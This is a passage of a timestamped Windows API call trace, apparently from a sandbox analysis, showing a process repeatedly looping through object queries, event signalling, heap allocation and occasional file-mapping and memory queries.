Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.477] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.477] ResetEvent (hEvent=0xe8) returned 1 [0057.477] SetEvent (hEvent=0xec) returned 1 [0057.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.477] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.477] ResetEvent (hEvent=0xe8) returned 1 [0057.477] SetEvent (hEvent=0xec) returned 1 [0057.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.477] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.477] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.478] ResetEvent (hEvent=0xe8) returned 1 [0057.478] SetEvent (hEvent=0xec) returned 1 [0057.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.478] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.478] ResetEvent (hEvent=0xe8) returned 1 [0057.478] SetEvent (hEvent=0xec) returned 1 [0057.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.478] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.478] ResetEvent (hEvent=0xe8) returned 1 [0057.478] SetEvent (hEvent=0xec) returned 1 [0057.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.478] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.478] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.478] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.478] ResetEvent (hEvent=0xe8) returned 1 [0057.479] SetEvent (hEvent=0xec) returned 1 [0057.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.479] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.479] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.479] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.479] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.479] ResetEvent (hEvent=0xe8) returned 1 [0057.479] SetEvent (hEvent=0xec) returned 1 [0057.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.479] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.479] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.479] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.479] ResetEvent (hEvent=0xe8) returned 1 [0057.479] SetEvent (hEvent=0xec) returned 1 [0057.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.480] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.480] ResetEvent (hEvent=0xe8) returned 1 [0057.480] SetEvent (hEvent=0xec) returned 1 [0057.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.480] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.480] ResetEvent (hEvent=0xe8) returned 1 [0057.480] SetEvent (hEvent=0xec) returned 1 [0057.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.480] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.480] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.480] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.480] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.480] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.480] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.481] ResetEvent (hEvent=0xe8) returned 1 [0057.481] SetEvent (hEvent=0xec) returned 1 [0057.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.481] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.481] ResetEvent (hEvent=0xe8) returned 1 [0057.481] SetEvent (hEvent=0xec) returned 1 [0057.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.481] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.481] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.481] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.481] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.481] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.481] ResetEvent (hEvent=0xe8) returned 1 [0057.481] SetEvent (hEvent=0xec) returned 1 [0057.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.481] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.482] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.482] ResetEvent (hEvent=0xe8) returned 1 [0057.482] SetEvent (hEvent=0xec) returned 1 [0057.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.482] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.482] ResetEvent (hEvent=0xe8) returned 1 [0057.482] SetEvent (hEvent=0xec) returned 1 [0057.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.482] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.482] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.482] ResetEvent (hEvent=0xe8) returned 1 [0057.482] SetEvent (hEvent=0xec) returned 1 [0057.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.483] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.483] ResetEvent (hEvent=0xe8) returned 1 [0057.483] SetEvent (hEvent=0xec) returned 1 [0057.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.483] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.483] ResetEvent (hEvent=0xe8) returned 1 [0057.483] SetEvent (hEvent=0xec) returned 1 [0057.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.483] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.483] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.483] ResetEvent (hEvent=0xe8) returned 1 [0057.483] SetEvent (hEvent=0xec) returned 1 [0057.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.484] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.484] ResetEvent (hEvent=0xe8) returned 1 [0057.484] SetEvent (hEvent=0xec) returned 1 [0057.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.484] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.484] ResetEvent (hEvent=0xe8) returned 1 [0057.484] SetEvent (hEvent=0xec) returned 1 [0057.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.484] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.484] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.484] ResetEvent (hEvent=0xe8) returned 1 [0057.484] SetEvent (hEvent=0xec) returned 1 [0057.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.485] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.485] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.485] ResetEvent (hEvent=0xe8) returned 1 [0057.485] SetEvent (hEvent=0xec) returned 1 [0057.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.485] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.485] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.485] ResetEvent (hEvent=0xe8) returned 1 [0057.485] SetEvent (hEvent=0xec) returned 1 [0057.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.485] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.485] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.485] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.485] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.485] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.485] ResetEvent (hEvent=0xe8) returned 1 [0057.485] SetEvent (hEvent=0xec) returned 1 [0057.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.486] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.486] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.486] ResetEvent (hEvent=0xe8) returned 1 [0057.486] SetEvent (hEvent=0xec) returned 1 [0057.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.486] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.486] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.486] ResetEvent (hEvent=0xe8) returned 1 [0057.486] SetEvent (hEvent=0xec) returned 1 [0057.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.486] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.486] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.486] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.486] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.486] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.487] ResetEvent (hEvent=0xe8) returned 1 [0057.487] SetEvent (hEvent=0xec) returned 1 [0057.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.487] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.487] ResetEvent (hEvent=0xe8) returned 1 [0057.487] SetEvent (hEvent=0xec) returned 1 [0057.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.487] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.487] ResetEvent (hEvent=0xe8) returned 1 [0057.487] SetEvent (hEvent=0xec) returned 1 [0057.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.487] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.487] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.487] ResetEvent (hEvent=0xe8) returned 1 [0057.488] SetEvent (hEvent=0xec) returned 1 [0057.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.488] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.488] ResetEvent (hEvent=0xe8) returned 1 [0057.488] SetEvent (hEvent=0xec) returned 1 [0057.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.488] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.488] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.488] ResetEvent (hEvent=0xe8) returned 1 [0057.488] SetEvent (hEvent=0xec) returned 1 [0057.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.489] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.489] ResetEvent (hEvent=0xe8) returned 1 [0057.489] SetEvent (hEvent=0xec) returned 1 [0057.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.489] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.489] ResetEvent (hEvent=0xe8) returned 1 [0057.489] SetEvent (hEvent=0xec) returned 1 [0057.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.489] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.489] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.489] ResetEvent (hEvent=0xe8) returned 1 [0057.490] SetEvent (hEvent=0xec) returned 1 [0057.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.490] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.490] ResetEvent (hEvent=0xe8) returned 1 [0057.490] SetEvent (hEvent=0xec) returned 1 [0057.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.490] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.490] ResetEvent (hEvent=0xe8) returned 1 [0057.490] SetEvent (hEvent=0xec) returned 1 [0057.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.490] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.490] NtQueryObject (in: Handle=0x134, 